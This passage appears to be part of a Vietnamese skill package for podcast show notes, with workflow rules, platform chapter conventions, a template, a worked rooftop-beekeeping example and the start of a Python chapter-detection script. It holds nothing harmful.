- `references/chapters-and-platforms.md` - quy tắc phân đoạn chương cho YouTube, Spotify, Apple Podcasts và Podcasting 2.0, kèm theo nguyên tắc đạo đức khi trích dẫn và gắn mốc thời gian
- `templates/show-notes.md` - mẫu tài liệu show notes để trả kết quả về
- `examples/example-rooftop-beekeeping-episode.md` - một ví dụ thực tế hoàn chỉnh từ cuộc phỏng vấn dài 25 phút
## Quy trình làm việc
### 1. Thu thập tài liệu
Hỏi người dùng, hoặc đưa ra giả định hợp lý và nêu rõ giả định đó:
- Bản gỡ băng (bất kỳ định dạng nào) và liệu các mốc thời gian trong đó có khớp với bản dựng âm thanh cuối cùng hay không. Nếu phần mở đầu (intro) hoặc quảng cáo được chèn thêm sau khi gỡ băng, hãy lấy độ lệch thời gian (offset) tính bằng giây.
- Tên chương trình, tên người dẫn (host) và khách mời với cách viết chính xác, vai trò của khách mời, cùng các đường dẫn liên kết họ muốn đưa vào (chỉ sử dụng những liên kết do người dùng cung cấp).
- Nơi bản ghi chú sẽ được xuất bản (nền tảng lưu trữ podcast, YouTube, trang web, bản tin newsletter) và bất kỳ quy chuẩn phong cách riêng nào: giọng điệu, độ dài, biểu tượng cảm xúc (emoji), cách diễn đạt cho nhà tài trợ.
- Đối tượng thính giả mục tiêu và 2 hoặc 3 cụm từ tìm kiếm mà người nghe có thể gõ để tìm thấy tập này.
### 2. Chạy công cụ tìm chương
```bash
python3 scripts/chapterize.py transcript.txt
python3 scripts/chapterize.py transcript.txt --min-chapter 3 --offset 45 --duration 52:30
python3 scripts/chapterize.py episode.vtt --format youtube
python3 scripts/chapterize.py - --format json < transcript.txt
```
Các điểm bắt đầu chương và câu trích dẫn do script tạo ra chỉ là các ứng viên gợi ý, không phải kết quả cuối cùng. Hãy đọc kỹ bản gỡ băng xung quanh mỗi điểm bắt đầu được đề xuất và dịch chuyển mốc đó tới đúng câu mà chủ đề mới thực sự bắt đầu. Hãy viết lại mọi tiêu đề dạng từ khóa (ví dụ: "Roof / Hive / Water / Wind") thành tiêu đề ngắn gọn hướng tới người nghe ("Keeping bees on a windy roof" - Nuôi ong trên mái nhà đầy gió). Nếu bản gỡ băng không có mốc thời gian, các con số thời gian chỉ là ước tính (được đánh dấu `~`); hãy nhắc người dùng thay thế chúng bằng mốc thời gian chính xác từ phần mềm dựng âm thanh. Nếu bạn không thể chạy script, hãy tìm các chương thủ công theo cùng nguyên tắc: dựa vào tiêu đề, điểm nghỉ, cụm từ chuyển ý, rồi đến các điểm thay đổi chủ đề.
### 3. Viết ghi chú tập (Show notes)
1. Tiêu đề: dài 40 đến 60 ký tự, nêu bật giá trị hứa hẹn chính của tập, kèm tên khách mời nếu điều đó giúp ích cho việc tìm kiếm.
2. Tóm tắt: 2 câu dùng cho phần xem trước trên ứng dụng (150 ký tự đầu tiên phải tự đứng độc lập và truyền tải trọn ý), tiếp theo là một đoạn văn ngắn.
3. Các ý chính (Key takeaways): 3 đến 5 gạch đầu dòng, mỗi gạch đầu dòng là một ý tưởng cụ thể rút ra từ tập podcast, không phải là tên một chủ đề chung chung.
4. Phân đoạn chương (Chapters): từ 4 đến 10 chương đối với một tập dài 20 đến 60 phút, chương đầu tiên bắt đầu ở 00:00, tiêu đề dưới 40 ký tự, sắp xếp theo đúng trình tự thời gian diễn ra.
5. Trích dẫn (Quotes): 3 đến 5 câu có ý nghĩa trọn vẹn ngay cả khi tách khỏi ngữ cảnh, ghi kèm tên người nói và mốc thời gian. Chỉ lược bỏ các từ đệm; tuyệt đối không làm thay đổi ý nghĩa. Đánh dấu rõ các câu trích dẫn đã biên tập nhẹ để người dùng đối chiếu lại với bản thu âm.
6. Tiểu sử khách mời (2 hoặc 3 câu), các liên kết và tài nguyên được nhắc đến (chỉ đưa các liên kết có thật từ tài liệu gốc hoặc do người dùng cung cấp), thông tin ghi nhận đóng góp (credits), và tuyên bố minh bạch về nhà tài trợ nếu có quảng cáo.
7. Bài đăng mạng xã hội: một bài cho mỗi nền tảng mà người dùng nêu tên, mỗi bài sử dụng một câu trích dẫn hoặc một ý chính đắt giá.
### 4. Bàn giao kết quả
Điền vào biểu mẫu `templates/show-notes.md` đồng thời tuân thủ hướng dẫn trong `references/show-notes-structure.md` và `references/chapters-and-platforms.md`. Trình bày theo phong cách của `examples/example-rooftop-beekeeping-episode.md`. Bổ sung một danh sách ngắn "những mục cần kiểm tra trước khi xuất bản": các mốc thời gian ước tính, các câu trích dẫn đã biên tập, chính tả tên riêng, cùng bất kỳ dữ kiện hay con số nào khách mời đã nêu mà cần được kiểm chứng lại.
## Quy tắc
- Chỉ sử dụng các dữ kiện, tên riêng, con số và liên kết có trong bản gỡ băng hoặc do người dùng cung cấp; gắn thẻ [check] cho bất kỳ thông tin nào chưa rõ ràng.
- Các câu trích dẫn phải là lời nói nguyên văn của người phát biểu; việc lược bỏ các từ đệm như "um", "you know" là chấp nhận được, nhưng diễn đạt lại bằng từ ngữ khác thì không.
- Giữ cho tiêu đề các chương mang tính mô tả và trung thực; không giật tít câu view (clickbait) những điều mà nội dung tập không mang lại.
- Tôn trọng khách mời: không trích dẫn các nhận xét riêng tư, những khoảnh khắc trò chuyện ngoài lề (off-the-record), hoặc bất kỳ phần nào người dùng đã đánh dấu cắt bỏ.
- Hòa hợp với giọng điệu chung của chương trình; mặc định sử dụng văn phong ấm áp, rõ ràng và cụ thể.
FILE:references/show-notes-structure.md
# Cấu trúc bản ghi chú tập (Show notes)
Người nghe thường đọc lướt show notes trong ứng dụng podcast trên điện thoại, các công cụ tìm kiếm đọc chúng trên trang web của tập, và khách mời sẽ chia sẻ chúng. Mỗi phần đều có một nhiệm vụ duy nhất.
| Phần | Nhiệm vụ | Độ dài |
|---|---|---|
| Tiêu đề tập (Episode title) | Nêu bật giá trị hứa hẹn chính; hỗ trợ tìm kiếm | 40 đến 60 ký tự; hầu hết ứng dụng sẽ cắt bớt sau khoảng 60 ký tự |
| Tóm tắt xem trước (Preview summary) | Khiến người dùng nhấn nút phát ngay từ danh sách trên ứng dụng | 150 ký tự đầu tiên phải tự truyền tải trọn ý; tổng cộng 2 câu |
| Tóm tắt đầy đủ (Full summary) | Giải thích khách mời là ai và những nội dung được bàn luận | 60 đến 120 từ |
| Các ý chính (Key takeaways) | Cung cấp giá trị cốt lõi cho người đọc lướt | 3 đến 5 gạch đầu dòng, mỗi dòng một ý tưởng, dưới 20 từ |
| Phân đoạn chương (Chapters) | Giúp người nghe chuyển nhanh đến phần quan tâm | 4 đến 10 chương cho thời lượng 20 đến 60 phút; tiêu đề dưới 40 ký tự |
| Trích dẫn nổi bật (Pull quotes) | Những câu nói đắt giá dùng cho phần ghi chú và mạng xã hội | 3 đến 5 câu, mỗi câu từ 12 đến 30 từ, kèm tên người nói và mốc thời gian |
| Tiểu sử khách mời (Guest bio) | Giới thiệu và ghi nhận khách mời | 2 hoặc 3 câu, viết ở ngôi thứ ba |
| Liên kết và tài nguyên (Links and resources) | Mọi thứ được nhắc đến mà có đường dẫn liên kết | Chỉ đưa những liên kết do người dùng hoặc khách mời cung cấp |
| Ghi nhận và minh bạch tài trợ (Credits and disclosure) | Người dẫn, khách mời, nhà sản xuất, âm nhạc, nhà tài trợ | Mỗi mục một dòng |
| Lời kêu gọi hành động (Call to action) | Một bước tiếp theo duy nhất | Đăng ký theo dõi, đánh giá, nhận bản tin, hoặc một câu hỏi dành cho người nghe |
## Tiêu đề
- Mở đầu bằng ý tưởng cốt lõi chứ không phải số thứ tự tập: "Keeping Bees on a Hotel Roof with Daniel Okafor" (Nuôi ong trên mái khách sạn cùng Daniel Okafor) hiệu quả hơn hẳn "Ep. 48: Daniel Okafor".
- Sử dụng những từ ngữ mà người nghe thực sự sẽ gõ tìm kiếm: "rooftop beekeeping" (nuôi ong trên sân thượng), "city honey" (mật ong phố thị).
- Tránh đặt những câu hỏi mà tập podcast không giải đáp và những lời hứa hẹn mà khách mời không hề đưa ra.
## Tóm tắt
- Câu 1: ai và nói về điều gì, bằng ngôn từ giản dị. Câu 2: điểm bất ngờ nhất hoặc hữu ích nhất.
- Viết cho con người đọc chứ không phải để nhồi nhét từ khóa; lồng ghép tự nhiên 2 hoặc 3 cụm từ tìm kiếm, mỗi cụm một lần.
- Không dùng lối mở đầu sáo rỗng "Trong tập này chúng ta sẽ nói về..."; hãy đi thẳng vào nội dung thực chất.
## Các ý chính (Key takeaways)
Hãy viết mỗi ý chính dưới dạng một nhận định hoặc hướng dẫn cụ thể rút ra từ tập podcast, chứ không phải tên một chủ đề:
- Yếu: "Nước trên mái nhà."
- Mạnh: "Hãy đặt một khay nước nông cho đàn ong trên sân thượng, nếu không chúng sẽ tìm đến bể bơi của hàng xóm."
## Tiêu đề chương
- Mô tả những gì người nghe sẽ nhận được trong phần đó chỉ bằng 2 đến 6 từ: "Tại sao gió mới là kẻ thù thực sự".
- Giữ cấu trúc ngữ pháp song song đồng nhất (tất cả cùng là câu khẳng định hoặc tất cả cùng là câu hỏi).
- Chỉ đặt tên cho các đoạn nghỉ quảng cáo nếu nền tảng không tự động ẩn chúng; tuyệt đối không gắn nhãn một đoạn quảng cáo như thể đó là một chương nội dung.
## Trích dẫn
- Chọn những câu có thể đứng độc lập: một nhận định rõ ràng, một bài học, một con số, hoặc một hình ảnh sống động.
- Tránh chọn những lời chào hỏi, câu hỏi dẫn dắt, và những câu cần phải đọc câu trước đó mới hiểu được.
- Việc lược bỏ các từ đệm (um, uh, you know) là hoàn toàn ổn; hãy đánh dấu câu trích dẫn là đã biên tập nhẹ. Tuyệt đối không được tự ý thay đổi từ ngữ.
## Khả năng tiếp cận và độ tin cậy
- Đính kèm liên kết dẫn tới toàn bộ bản gỡ băng (transcript) khi có sẵn; điều này giúp ích cho người nghe khiếm thính hoặc nghe kém cũng như hỗ trợ công cụ tìm kiếm.
- Công bố rõ ràng các nhà tài trợ và các liên kết tiếp thị liên kết (affiliate links).
- Đặt thẻ [check] vào bất kỳ con số, tên riêng hoặc nhận định nào cần được xác minh lại trước khi xuất bản.
FILE:references/chapters-and-platforms.md
# Phân đoạn chương và quy tắc của các nền tảng
Các quy tắc có thể thay đổi theo thời gian; khi nghi ngờ, hãy kiểm tra trang trợ giúp hiện hành của từng nền tảng. Dưới đây là những nguyên tắc cơ bản ổn định nhất.
## YouTube (podcast video và tệp âm thanh tải lên)
- Các chương được tạo từ các mốc thời gian trong phần mô tả, mỗi chương trên một dòng: `00:00 Intro`.
- Mốc thời gian đầu tiên bắt buộc phải là 00:00.
- Phải có ít nhất 3 mốc thời gian, và mỗi chương phải dài tối thiểu 10 giây.
- Sử dụng định dạng `MM:SS` cho các video dưới một giờ và `H:MM:SS` một khi có bất kỳ chương nào vượt quá mốc một giờ.
- Lệnh `chapterize.py --format youtube` sẽ in các dòng theo đúng định dạng này và cảnh báo khi có quy tắc bị vi phạm.
## Spotify
- Spotify đọc các mốc thời gian chương từ phần mô tả tập theo cùng kiểu `MM:SS Title` đối với các tập trên nền tảng của mình; hãy tuân thủ các quy tắc tương tự như YouTube (bắt đầu tại 00:00, cách nhau vài phút).
## Apple Podcasts và hầu hết các ứng dụng khác
- Các chương được nhúng trực tiếp vào tệp âm thanh: các khung ID3 CHAP trong tệp MP3 hoặc một rãnh chương (chapter track) trong tệp M4A/AAC. Hãy thêm chúng trong phần mềm dựng âm thanh hoặc công cụ gắn thẻ (tagging tool) trước khi tải lên.
- Apple có thể hiển thị các chương được tạo tự động khi một tập không có chương nào; việc tự cung cấp chương riêng giúp bạn giữ quyền kiểm soát các tiêu đề.
## Podcasting 2.0 (RSS)
- Thẻ `<podcast:chapters>` trỏ tới một tệp JSON chứa danh sách chương, được hỗ trợ bởi nhiều ứng dụng và dịch vụ lưu trữ (host) hiện đại:
```json
{
"version": "1.2.0",
"chapters": [
{ "startTime": 0, "title": "Intro" },
{ "startTime": 280, "title": "Keeping bees on a windy roof" }
]
}
```
- `startTime` được tính bằng giây; lệnh `chapterize.py --format json` trả về giá trị `start` tính bằng giây cho từng chương.
## Mốc thời gian (Timestamps)
- Thời gian trong bản gỡ băng thường lệch so với tệp âm thanh cuối cùng: nhạc mở đầu, quảng cáo và việc cắt dựng sẽ làm dịch chuyển chúng. Hãy sử dụng `--offset` cho một khoảng dịch chuyển cố định và kiểm tra lại một vài chương trong tệp âm thanh.
- Khi không có mốc thời gian, `chapterize.py` sẽ ước tính thời gian dựa trên số lượng từ (mặc định 150 từ mỗi phút) và đánh dấu chúng bằng ký hiệu `~`. Tuyệt đối không xuất bản các mốc thời gian ước tính mà chưa kiểm tra lại.
- Cơ chế chèn quảng cáo động (dynamic ad insertion) làm thay đổi thời gian tùy theo từng người nghe; chỉ đưa các chương vào tệp hoặc phần mô tả khi quảng cáo đã được ghép cứng (baked in) vào âm thanh hoặc khi nền tảng lưu trữ hỗ trợ tự động điều chỉnh mốc chương.
## Cách script tìm điểm bắt đầu chương
1. Các dòng tiêu đề (`# Title`, `Chapter 3: ...`, `Segment: ...`) luôn bắt đầu một chương mới.
2. Các dấu hiệu nghỉ (`[music]`, `[ad break]`, `[pause]`, `***`, `---`) đánh dấu khối lời thoại tiếp theo là một ứng viên bắt đầu chương.
3. Các cụm từ chuyển phần được chấm điểm cao ("let's talk about", "moving on", "switching gears", "welcome back", "before we wrap up"); các cụm từ chuyển câu hỏi đơn lẻ ("next question") được chấm điểm thấp hơn để giữ cho toàn bộ phần hỏi đáp (Q&A) nằm gọn trong một chương.
4. Sự chuyển dịch từ vựng: mức độ khác biệt của các từ ngữ trong 3 khối lời thoại trước và sau một thời điểm.
5. Các điểm bắt đầu cách nhau gần hơn `--min-chapter` phút sẽ bị loại bỏ (ngoại trừ các dòng tiêu đề), và không có chương nào được bắt đầu trong phút cuối cùng.
## Đạo đức khi trích dẫn và sử dụng bản gỡ băng
- Giữ nguyên sự trung thực của các câu trích dẫn; đánh dấu việc lược bỏ từ đệm là đã qua biên tập.
- Xin phép trước khi trích dẫn câu chuyện cá nhân của khách mời lên mạng xã hội nếu đó là nội dung nhạy cảm.
- Không xuất bản những nhận xét mà người dùng đã đánh dấu là trò chuyện ngoài lề (off the record) hoặc đã bị cắt khỏi tập podcast.
FILE:templates/show-notes.md
# episode_title
**show_name** | Tập episode_number | duration | Khách mời: guest_name
preview_summary_two_sentences
full_summary_paragraph
## Các ý chính (Key takeaways)
-
-
-
## Phân đoạn chương (Chapters)
```
00:00 chapter_1
time chapter_2
```
## Trích dẫn nổi bật (Quotes)
> "quote" - speaker (time)
## Giới thiệu về guest_name
guest_bio
## Liên kết và tài nguyên được nhắc đến
- resource - url_or_check
## Ghi nhận đóng góp (Credits)
Dẫn chương trình: host | Khách mời: guest_name | Sản xuất: producer | Âm nhạc: music_credit
sponsor_disclosure
call_to_action
---
## Bài đăng mạng xã hội
- **platform:** post_with_quote_or_takeaway
## Kiểm tra trước khi xuất bản
- [ ] Đã đối chiếu mốc thời gian các chương với tệp âm thanh cuối cùng (độ lệch offset: offset)
- [ ] Đã kiểm tra các câu trích dẫn qua biên tập với tệp âm thanh
- [ ] Đã xác nhận tên riêng và chính tả
- [ ] Đã xác minh các dữ kiện và con số được gắn thẻ [check]
- [ ] Đã kiểm tra hoạt động của các đường dẫn liên kết
FILE:examples/example-rooftop-beekeeping-episode.md
# Ví dụ: Bản ghi chú tập (show notes) cho cuộc phỏng vấn dài 25 phút
## Yêu cầu của người dùng
"Đây là bản gỡ băng của tập 48 chương trình Small Plot Radio trò chuyện cùng Daniel Okafor, một người nuôi ong trên mái khách sạn. Chúng tôi đã chèn thêm một đoạn nhạc mở đầu dài 45 giây trong lúc dựng, nên tệp âm thanh cuối cùng có thời lượng 26:02. Bạn có thể viết giúp tôi bản show notes kèm các phân đoạn chương cho YouTube và Spotify, một vài câu trích dẫn hay, và một bài đăng Instagram được không? Các buổi tham quan trên mái khách sạn và khóa học của Daniel đều có liên kết trên trang web của họ; tôi sẽ tự điền chúng vào sau."
## Chạy công cụ tìm chương
```
$ python3 scripts/chapterize.py rooftop-bees.txt
Transcript: 1140 words, about 25:17 long, timestamps found, speakers: Daniel (20 turns), Maya (19 turns)
Chapter candidates (6, min 4 min apart):
1. 00:00 4.7 min [detected] Hotel Manager / Hive / Twelve / Bees
2. 04:40 4.5 min [detected] Roof / Hive / Water / Wind
3. 09:12 5.3 min [detected] Honey Tour / Spring Honey / Late Summer / Guests
4. 14:30 5.0 min [detected] City / Bees / Honey / Roof
5. 19:30 4.7 min [detected] Hive / Balcony / Bees / Priya
6. 24:10 1.1 min [detected] Keeping / Colony / Association / Find
Markers (breaks, music, ads): 13:30 [ad break]
Quote candidates (6):
00:36 Daniel: "I built my first hive from a kit that winter and I made every beginner mistake you can imagine."
01:24 Daniel: "The biggest lesson I learned that first year was that good beekeeping is mostly patience."
05:33 Daniel: "If you don't give them water, they will find the hotel pool or the neighbors' air conditioning drip, and that is how complaints start."
...
$ python3 scripts/chapterize.py rooftop-bees.txt --offset 45 --format youtube
00:00 Hotel Manager / Hive / Twelve / Bees
05:25 Roof / Hive / Water / Wind
09:57 Honey Tour / Spring Honey / Late Summer / Guests
15:15 City / Bees / Honey / Roof
20:15 Hive / Balcony / Bees / Priya
24:55 Keeping / Colony / Association / Find
# note: YouTube needs the first chapter at 00:00; the first one was moved to 00:00
```
Đánh giá các ứng viên chương: cả sáu điểm bắt đầu đều rơi đúng vào các câu chuyển ý thực sự ("Let's talk about the roof itself", "Switching gears to the hotel manager", "Welcome back", "Let's move on to listener questions", "Before we wrap up"). Đoạn nghỉ quảng cáo ở phút 13:30 được giữ nguyên bên trong chương 3 vì quảng cáo đã được ghép cứng vào tệp âm thanh. Chương 1 khá dài nên được tách thủ công tại mốc 01:20 ("What was the biggest mistake?"), trở thành 02:05 sau khi cộng độ lệch thời gian (offset). Mọi tiêu đề dạng từ khóa đều đã được viết lại.
## Bản ghi chú tập (mẫu đã điền)
# Keeping Bees on a Hotel Roof with Daniel Okafor (Nuôi ong trên mái khách sạn cùng Daniel Okafor)
**Small Plot Radio** | Tập 48 | 26:02 | Khách mời: Daniel Okafor
Daniel Okafor nuôi mười hai thùng ong trên mái một khách sạn ở trung tâm thành phố. Anh chia sẻ cách khắc phục gió lớn, nắng nóng và cơn khát cho đàn ong trên mái nhà, cũng như lý do vì sao việc trồng hoa lại giúp ích cho các loài thụ phấn nhiều hơn là đặt thêm thùng ong.
Chín năm trước, một đàn ong di cư đã đáp xuống ban công nhà Daniel; ngày nay anh vận hành mười hai thùng ong trên mái một khách sạn, cung cấp mật ong cho gian bếp khách sạn và dẫn dắt các tour tham quan mật ong trên sân thượng luôn kín chỗ. Maya và Daniel trò chuyện về những sai lầm của người mới bắt đầu, hàng rào chắn gió, khay nước, tải trọng mái nhà, cách anh thuyết phục người quản lý khách sạn, liệu mật ong thành phố có an toàn để thưởng thức hay không, và tại sao việc đặt quá nhiều thùng ong trong thành phố có thể lấn át không gian sống của các loài ong hoang dã. Cuối chương trình, họ giải đáp các câu hỏi của thính giả về việc nuôi ong ngoài ban công, dụng cụ khởi đầu và sản lượng mật thu hoạch.
## Các ý chính (Key takeaways)
- Kiểm tra thùng ong định kỳ mỗi 7 đến 10 ngày vào mùa xuân theo kế hoạch rõ ràng, và để chúng yên ổn trong khoảng thời gian giữa các lần kiểm tra.
- Trên mái nhà, gió là kẻ thù chính: một hàng rào chắn gió dạng nan cao 1.5 m ở các mặt đón gió sẽ tạo ra sự khác biệt lớn.
- Hãy đặt cho đàn ong trên sân thượng một khay nước nông có rải sỏi, nếu không chúng sẽ tìm đến bể bơi của hàng xóm.
- Cần kiểm tra tải trọng mái nhà trước tiên: một thùng ong đầy có thể nặng từ 80 đến 100 kg.
- Việc trồng thêm hoa giúp ích cho các loài thụ phấn nhiều hơn là đặt thêm một thùng ong nữa vào một thành phố vốn đã chật kín.
## Phân đoạn chương (Chapters)
```
00:00 Cơ duyên một đàn ong biến Daniel thành người nuôi ong
02:05 Sai lầm của người mới: mở thùng ong quá thường xuyên
05:25 Nuôi ong trên mái nhà đầy gió
09:57 Thuyết phục khách sạn (và cả gian bếp của họ)
15:15 Mật ong thành phố có an toàn không, và liệu đã có quá nhiều thùng ong?
20:15 Câu hỏi từ thính giả: ban công, dụng cụ và sản lượng mật
24:55 Điều duy nhất mà mọi người mới nuôi ong đều nên biết
```
## Trích dẫn nổi bật (Quotes)
> "Bài học lớn nhất tôi nhận ra trong năm đầu tiên đó là nghề nuôi ong giỏi phần lớn nằm ở sự kiên nhẫn." - Daniel Okafor (02:09)
> "Nếu bạn không cung cấp nước cho chúng, chúng sẽ tìm đến bể bơi khách sạn hoặc ống nhỏ giọt điều hòa của hàng xóm, và đó chính là lúc những lời phàn nàn bắt đầu xuất hiện." - Daniel Okafor (06:18)
> "Nếu bạn muốn giúp các loài thụ phấn, việc trồng hoa có ý nghĩa hơn nhiều so với việc đặt thêm một thùng ong nữa." - Daniel Okafor (16:53)
## Giới thiệu về Daniel Okafor
Daniel Okafor là một người nuôi ong đô thị với chín năm kinh nghiệm và hiện đang chăm sóc mười hai thùng ong trên mái một khách sạn ở trung tâm thành phố. Anh dẫn dắt các tour tham quan mật ong trên sân thượng hàng tháng của khách sạn và giảng dạy khóa học dành cho người mới bắt đầu tại hiệp hội nuôi ong thành phố vào mỗi mùa xuân.
## Liên kết và tài nguyên được nhắc đến
- Tour tham quan mật ong trên sân thượng khách sạn - [liên kết từ người dùng]
- Khóa học nuôi ong cho người mới bắt đầu, hiệp hội nuôi ong thành phố - [liên kết từ người dùng]
- Nhà cho ong bầu (Mason bee) đặt ngoài ban công (được nhắc đến ở phút 20:15) - không có liên kết
## Ghi nhận đóng góp (Credits)
Dẫn chương trình: Maya | Khách mời: Daniel Okafor | Sản xuất: [check] | Âm nhạc: [check]
Tập này có bao gồm một đoạn quảng cáo tại mốc 14:15. [check tên nhà tài trợ để công bố minh bạch]
Bạn có câu hỏi nào về việc nuôi ong ở ban công hay trên mái nhà muốn gửi tới Daniel không? Hãy gửi về cho chúng tôi và chúng tôi sẽ giải đáp trong một tập sắp tới.
---
## Bài đăng mạng xã hội
- **Instagram:** "Việc trồng hoa có ý nghĩa hơn nhiều so với việc đặt thêm một thùng ong nữa." Daniel Okafor đang nuôi mười hai thùng ong trên mái một khách sạn, và lời khuyên của anh nhằm giúp đỡ các loài thụ phấn nơi đô thị có thể sẽ khiến bạn bất ngờ. Tập mới của Small Plot Radio đã lên sóng, liên kết nằm trong phần tiểu sử (bio).
## Kiểm tra trước khi xuất bản
- [ ] Đã đối chiếu mốc thời gian các chương với tệp âm thanh cuối cùng (độ lệch offset: cộng thêm +45 giây vào mọi mốc thời gian trong bản gỡ băng)
- [ ] Đã kiểm tra các câu trích dẫn với tệp âm thanh (không có câu nào bị chỉnh sửa)
- [ ] Đã xác nhận cách đánh vần tên "Okafor" với khách mời
- [ ] Các dữ kiện cần xác minh: "không có vị khách nào bị ong đốt trong suốt chín mùa", kết quả kiểm nghiệm phòng thí nghiệm hàng năm đều dưới ngưỡng giới hạn, sản lượng 15 đến 30 kg mỗi thùng
- [ ] Đã thêm và kiểm tra hoạt động của các đường dẫn liên kết
FILE:scripts/chapterize.py
#!/usr/bin/env python3
"""Split a podcast transcript into rough chapter candidates and pull quote candidates.
Usage:
python3 chapterize.py TRANSCRIPT [options]
python3 chapterize.py - < transcript.txt (read stdin)
Accepted input (detected automatically, can be mixed):
- timestamp lines: "[00:12:30] Ana: text", "00:12:30 text", "(12:30) text", "12:30 - text"
- WebVTT/SRT cue times: "00:01:02.000 --> 00:01:05.000" (the cue text follows)
- headings: "# Intro", "## Part 2", "Chapter 3: Pricing", "SEGMENT: listener questions"
- pause markers: [pause], [music], [break], [ad break], (long pause), ***, ---
- plain paragraphs separated by blank lines (times are estimated from --wpm)
Options:
--min-chapter MIN shortest chapter in minutes (default 4)
--max-chapters N most chapters to return (default 12)
--wpm N speaking rate used to estimate times without timestamps (default 150)
--offset SEC seconds to add to every time, for an intro added in the edit (default 0)
--quotes N number of quote candidates (default 6)
--format FMT text (default), json, or youtube (chapter lines "00:00 Title")
--duration HH:MM:SS total episode length, to check the last chapter and YouTube rules
Chapter boundaries come from headings first, then pause markers and cue phrases
("let's talk about", "moving on", "after the break"), then vocabulary shifts between
neighbouring blocks. Titles are keyword guesses: always rewrite them for the listener.
Exit codes: 0 ok, 1 input too short for chapters, 2 usage or read error.
Python 3 standard library only.
"""
import json
import re
import sys
from collections import Counter
TS_LINE = re.compile(r"^\s*[\[(]?((?:\d{1,2}:)?\d{1,2}:\d{2})(?:[.,]\d+)?[\])]?\s*(?:[-\u2013\u2014|:]\s*)?(.*)$")
CUE_LINE = re.compile(r"^\s*((?:\d{1,2}:)?\d{1,2}:\d{2})[.,]\d{1,3}\s*-->\s*((?:\d{1,2}:)?\d{1,2}:\d{2})?")
LAST_CUE_END = [0]
HEADING = re.compile(r"^\s*(?:#{1,6}\s+(.+)|(?:chapter|part|segment|section|topic)\s*\d*\s*[:.\-\u2013]\s*(.+))\s*$", re.I)
PAUSE = re.compile(r"^\s*(?:\[(?:pause|long pause|music|break|ad break|ad|sponsor|interlude|silence)[^\]]*\]|"
r"\((?:pause|long pause|music|break|ad break|silence)[^)]*\)|\*{3,}|-{3,}|={3,})\s*$", re.I)
SPEAKER = re.compile(r"^([A-Z][\w.'-]*(?: [A-Z][\w.'-]*){0,2}):\s+(.*)$")
# section-level cue phrases start a new chapter; item-level ones (single questions) only nudge
CUES = ["let's talk about", "lets talk about", "let's move on", "moving on", "switching gears", "change gears",
"after the break", "welcome back", "before we wrap", "to wrap up", "let's get into", "let's dive into",
"let's start with", "rapid fire", "listener questions"]
ITEM_CUES = ["next question", "first question", "last question", "final question", "the next thing",
"another thing i want", "speaking of"]
INTRO = re.compile(r"\b(welcome (to|back)|my guest|today i'm talking|today i am talking|thanks for (having|listening)|"
r"see you (next|in)|where can people find)\b", re.I)
STOP = set("""a about above after again against all also am an and any are aren't as at be because been before being
below between both but by can can't could couldn't did didn't do does doesn't doing don't down during each even ever
every few for from further get gets getting go going gonna got had hadn't has hasn't have haven't having he he'd he'll
he's her here here's hers herself him himself his how how's i i'd i'll i'm i've if in into is isn't it it's its itself
just know kind kinda let let's like lot really right said say says see so some such sort than that that's the their
theirs them themselves then there there's these they they'd they'll they're they've thing things think this those
though through to too um uh under until up us very want was wasn't way we we'd we'll we're we've well were weren't what
what's when when's where where's which while who who's whom why why's will with won't would wouldn't yeah yes you you'd
you'll you're you've your yours yourself yourselves okay ok actually basically maybe mean pretty probably stuff sure
talk talking yeah one two three lot lots much many more most other others same back new good great time people
something anything everything nothing make made making take took come came look looking need needs needed thank
thanks today episode podcast show welcome not first question questions listener listeners she she's she'd she'll now""".split())
QUOTE_WORDS = re.compile(r"\b(never|always|nobody|everyone|the secret|the key|the biggest|the hardest|the best|the worst|"
r"mistake|learned|lesson|truth|matters|changed|surprised|realized|if you|you have to|don't)\b", re.I)
FILLER = re.compile(r"\b(um+|uh+|you know|i mean|sort of|kind of|like,)\s*", re.I)
class UsageError(Exception):
pass
def to_sec(ts):
parts = [int(p) for p in ts.split(":")]
while len(parts) < 3:
parts.insert(0, 0)
h, m, s = parts
return h * 3600 + m * 60 + s
def fmt(sec, force_hours=False):
sec = int(round(sec))
h, rem = divmod(sec, 3600)
m, s = divmod(rem, 60)
return f"{h:d}:{m:02d}:{s:02d}" if h or force_hours else f"{m:02d}:{s:02d}"
def words(text):
return re.findall(r"[A-Za-z][A-Za-z'-]+", text)
def parse(text):
"""Return a list of units: dict(kind=text|heading|pause, text, time or None, speaker)."""
units, pending_time = [], None
lines = text.replace("\r\n", "\n").replace("\r", "\n").lstrip("\ufeff").split("\n")
para = []
def flush():
if para:
joined = " ".join(p["text"] for p in para)
units.append({"kind": "text", "text": joined, "time": para[0]["time"], "speaker": para[0]["speaker"]})
para.clear()
for raw in lines:
line = raw.strip()
if not line or line.upper() == "WEBVTT" or line.isdigit():
if not line:
flush()
continue
m = CUE_LINE.match(line)
if m:
pending_time = to_sec(m.group(1))
if m.group(2):
LAST_CUE_END[0] = max(LAST_CUE_END[0], to_sec(m.group(2)))
continue
h = HEADING.match(line)
if h:
flush()
units.append({"kind": "heading", "text": (h.group(1) or h.group(2)).strip(), "time": pending_time,
"speaker": None})
continue
if PAUSE.match(line):
flush()
units.append({"kind": "pause", "text": line, "time": pending_time, "speaker": None})
continue
t = TS_LINE.match(line)
time = pending_time
if t and t.group(2) is not None and (":" in t.group(1)):
time, line = to_sec(t.group(1)), t.group(2).strip()
flush()
if not line:
pending_time = time
continue
h = HEADING.match(line)
if h:
units.append({"kind": "heading", "text": (h.group(1) or h.group(2)).strip(), "time": time, "speaker": None})
pending_time = None
continue
if PAUSE.match(line):
units.append({"kind": "pause", "text": line, "time": time, "speaker": None})
pending_time = None
continue
sp = SPEAKER.match(line)
speaker = None
if sp and len(sp.group(1)) <= 30:
speaker, line = sp.group(1), sp.group(2)
flush()
if time is not None or pending_time is not None:
flush()
para.append({"text": line, "time": time, "speaker": speaker})
pending_time = None
flush()
return units
def assign_times(units, wpm, offset):
"""Fill missing times by interpolating between known ones or from the word count."""
known = [i for i, u in enumerate(units) if u["time"] is not None]
clock = 0.0
timed = bool(known)
for i, u in enumerate(units):
if u["time"] is not None:
clock = float(u["time"])
u["estimated"] = False
else:
u["time"] = clock
u["estimated"] = True
clock = u["time"] + len(words(u["text"])) / wpm * 60 if u["kind"] == "text" else u["time"]
for u in units:
u["time"] += offset
return timed
EXTRA_STOP = set()
def keywords(text, n=4):
ws = [w.lower().strip("'-") for w in words(text)]
ws = [w for w in ws if len(w) > 2 and w not in STOP and w not in EXTRA_STOP]
counts = Counter(ws)
bigrams = Counter(f"{a} {b}" for a, b in zip(ws, ws[1:]) if a != b)
